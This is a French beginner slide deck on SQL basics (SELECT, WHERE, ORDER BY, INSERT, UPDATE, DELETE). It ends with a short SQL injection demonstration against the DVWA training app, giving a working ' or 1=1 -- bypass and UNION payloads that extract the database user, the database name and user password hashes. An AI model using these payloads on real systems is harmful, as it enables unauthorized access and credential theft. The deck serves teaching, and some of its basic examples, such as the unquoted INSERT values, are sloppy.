SQL

Les bases

Le SQL est un langage permettant de communiquer avec une base de données. Ce langage informatique est notamment très utilisé par les développeurs web pour communiquer avec les données d’un site web

Structured Query Language

Ordre SELECT

Syntaxe

SELECT * | colonne | expression 

FROM table;

SELECT liste les colonnes qui sont affichées

FROM indique la table d'où sont issues les colonnes

Exemple

SELECT nom, prenom, classe 

FROM etudiants;

Affiche les colonnes 'nom', 'prenom, et 'classe' de la table etudiant

Expression arithmetique

Operateur Description
+ addition
- soustraction
* multiplication
/ division

Exemple

SELECT nom, prenom, salaire, salaire + 300 

FROM employees;

nom prenom salaire salaire + 300
Bismuth Paul 100 400
Nerat Emile 500 800

Alias

Change les entêtes de colonnes

 

Suivent directement le nom de la colonne (ou le mot clé AS)

 

Nécessitent des doubles quotes (" ") si contient un espace, un caractère spécial ou est sensible à la casse

Alias

SELECT nom, salaire*12 "salaire annuel", commission AS  comm

FROM etudiants;

nom salaire annuel comm
King 3000000

Concaténation

Lier les colonnes ou chaînes de caractères à d'autres colonnes

 

se présente avec deux barres (||)

 

créé une colonne à l'affichage

Concaténation

SELECT nom || id AS "Etudiants"

FROM etudiants;

Etudiants
King23
Lee2345

Chaînes de caractères littérales

Un littéral est un caractère, un nombre, ou une date qui est inclus dans un select

 

Les dates et caractères littéraux doivent être entre simples quotes (' ')

 

Chaque chaîne de caractères est affichée une fois pour chaque ligne retournée

Chaînes de caractères littérales

SELECT 'Nom : ' || nom || ' - prenom : ' || prenom AS Etudiants

FROM etudiants;

Etudiants
Nom : king - prenom : Paul
Nom : Lee - prenom : Edouard

Chaînes de caractères littérales

SELECT 'Nom : ' || nom || ' - prenom : ' || prenom AS Etudiants

FROM etudiants;

Etudiants
Nom : king - prenom : Paul
Nom : Lee - prenom : Edouard

Ligne dupliquées

Par défaut, toutes les lignes sont affichées, même les doublons

 

Utiliser l'attribut DISTINCT

Restriction et tri

des données

Restreindre les données

Restreindre les lignes retournées avec la clause WHERE

La clause WHERE suit la clause FROM

SELECT colonnes

FROM table

WHERE condition(s)

Restreindre les données

SELECT id, nom, job_id, département_id

FROM employees

WHERE departement_id = 90;

id nom job_id departement_id
100 King AD_PRESS 90
101 De Haan AD_VP 90

Restreindre les données

Chaînes de caractères et dates :

 

Doivent être entre simple quotes

Chaînes de caractères sensibles à la casse

Dates sensible au format

Format de date par défaut :

    En Fr : DD/MM/AA

    En En : DD-MM-YY

SELECT *

FROM etudiants

WHERE nom = 'King'

Conditions de comparaison

Operateur Signification
= égal à
> Plus grand que
>= Plus ou égal à
< Plus petit que
<= Plus petit ou égal à
<> non égal à
BETWEEN ... AND ... Entre deux valeurs (inclues)
IN correspond à une valeur de la liste
LIKE Correspond à une recherche
IS NULL est une valeur NULL

Conditions de recherche

% : représente zéro, un ou plusieurs caractères

 

_ : représente un et un seul caractère

...
WHERE nom LIKE 'S%'

Conditions logiques

Operateur Signifaction
AND retourne TRUE si les deux conditions sont vraies
OR retourne TRUE si au moins une des conditions est vraies
NOT retourne TRUE si la condition est fausse

Tri des données

Trier des lignes avec la clause ORDER BY

 

ASC : ordre ascendant, par défaut

DESC, ordre descendant

 

Dernière clause de la requête

SELECT nom, prenom, date_naissance, classe

FROM etudiants

WHERE classe = 'DevWeb'

ORDER BY nom, prenom

Ordre INSERT

Syntaxe

INSERT INTO table  [(colonne [, colonne ...])]

VALUES (value [, value ...])

Ajoute une ligne à la fois

Mettre les chaînes de caractères et date entre quotes simples

Expemple

INSERT INTO etudiants (nom, prenom, classe)

VALUES (king, lee, DevWeb);

Ordre UPDATE

Syntaxe

UPDATE table

SET colonne = value [, colonne = value ...]

[WHERE condition]

Modifie des lignes existantes

Peut mettre à jour plusieurs lignes en même temps

Expemple

UPDATE etudiants

SET nom = 'Lee', prenom='Paul'

WHERE id = 1

Ordre DELETE

Syntaxe

DELETE [FROM] table

[WHERE condition]

Supprime des lignes existantes

Sans condition, supprime tout une table

Exemple

DELETE etudiants

WHERE id = 2;

Injection SQL

C'est quoi ?

Une injection, c’est tout simplement lorsque l’utilisateur à la possibilité de manipuler le code et d’y « Injecter » ses propres commandes et ainsi manipuler la requête de base pour arriver a ses fins !

Comment ça marche ?

Dans SQL il existe la clause « Where » qui permet de faire des requêtes sous conditions, si une condition renvoie « vrai » c’est comme si elle n’existait pas. Forcement vous l’aurez compris 1=1 est toujours vrai ! Mais il existe des infinités de variantes ! ( 2=2, 20-7=13 .. )
Enfin dans SQL pour les commentaires on utilise « -- » ainsi terminer une injection par ces caractères nous permet de nous assurer qu’aucune autre action sera exécuté après la notre.

Exemple

Celle ci nous propose un input, dans le contexte on comprend qu’il faut entrer un numéro d’utilisateur.
Essayons avec l’utilisateur 2 :

Pour l'instant, tout va bien !

Exemple

Celle ci nous propose un input, dans le contexte on comprend qu’il faut entrer un numéro d’utilisateur.
Essayons avec l’utilisateur 2 :

Pour l'instant, tout va bien !

Exemple

Nous contrôlons la valeur de id, c’est de la que partira notre injection.
Essayons donc le fameux ‘or 1=1 -- :

Cette fois ci l’application est nettement plus bavarde ! En effet la clause « Where » est en quelque sorte ignorée puisqu’elle renvoie vrai.
Il y a donc ici une injection et il est possible de récupérer la liste de tout les utilisateurs.

Ainsi...

Tout ceci n'a pas trop d'intérêt, mais avec les injections suivantes, on peut récupérer pas mal d'info :

Déterminer l’utilisateur de la base de données

ID: 1' union select 1,user() --
First name: 1
Surname: root@localhost

Déterminer le nom de la base de données

ID: 1' union select 1,database() --
First name: 1
Surname: dvwa

Récupérer les mots de passes

ID: 1' union all select user,password from users --
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Via un site tiers, je sais pas que ce mot de passe password

A lire

L'excellent article de Rémi Martin :

Base SQL

By plebweb

Base SQL

  • 600